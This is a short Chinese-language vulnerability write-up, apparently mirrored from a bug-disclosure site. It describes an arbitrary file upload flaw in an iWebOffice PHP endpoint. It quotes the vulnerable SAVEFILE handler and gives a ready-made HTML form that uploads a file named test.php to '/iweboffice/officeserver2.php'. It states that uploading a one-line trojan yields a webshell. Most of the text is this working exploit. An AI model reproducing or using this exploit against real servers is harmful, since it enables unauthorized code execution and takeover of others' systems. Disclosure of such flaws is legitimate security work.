參考鏈接：https://bugs.shuimugan.com/bug/view?bug_no=125638

1.某文件多處任意文件上傳，可直接getshell ，相關(guān)代碼如下

 case "SAVEFILE" :
                $mRecordID = $RECORDID;
                $mUserName = $USERNAME;
                $mFileName = $FILENAME;
                $mFileType = $FILETYPE;
                $mDescript = $DESCRIPT;
                $mFileDate = $FileDate;
                $mFullPath = $mFilePath."/".$mFileName;
                if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
                {
                                if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
                                {
                                                $mFileSize = $_FILES['MsgFileBody']['size'];
                                                $result = true;
                                }
                                else
                                {
                                                $MsgObj->MsgError( "Save File Error" );
                                                $result = false;
                                }
                }

2.我們要構(gòu)造一份表單
OPTION為SAVEFILE，F(xiàn)ILENAME是保存的文件名可以自己命名

<select>
  <option value ="volvo">SAVEFILE</option>
</select>
<form method='post' action='/iweboffice/officeserver2.php?OPTION=SAVEFILE&FILENAME=test.php'  enctype="multipart/form-data" > 
<input type="file" name="MsgFileBody" style="height:20px;BORDER: #8F908B 1px solid;"/></br></br>
<button type=submit value="上傳">上傳</button> </form>

上傳一句話木馬即可獲取webshell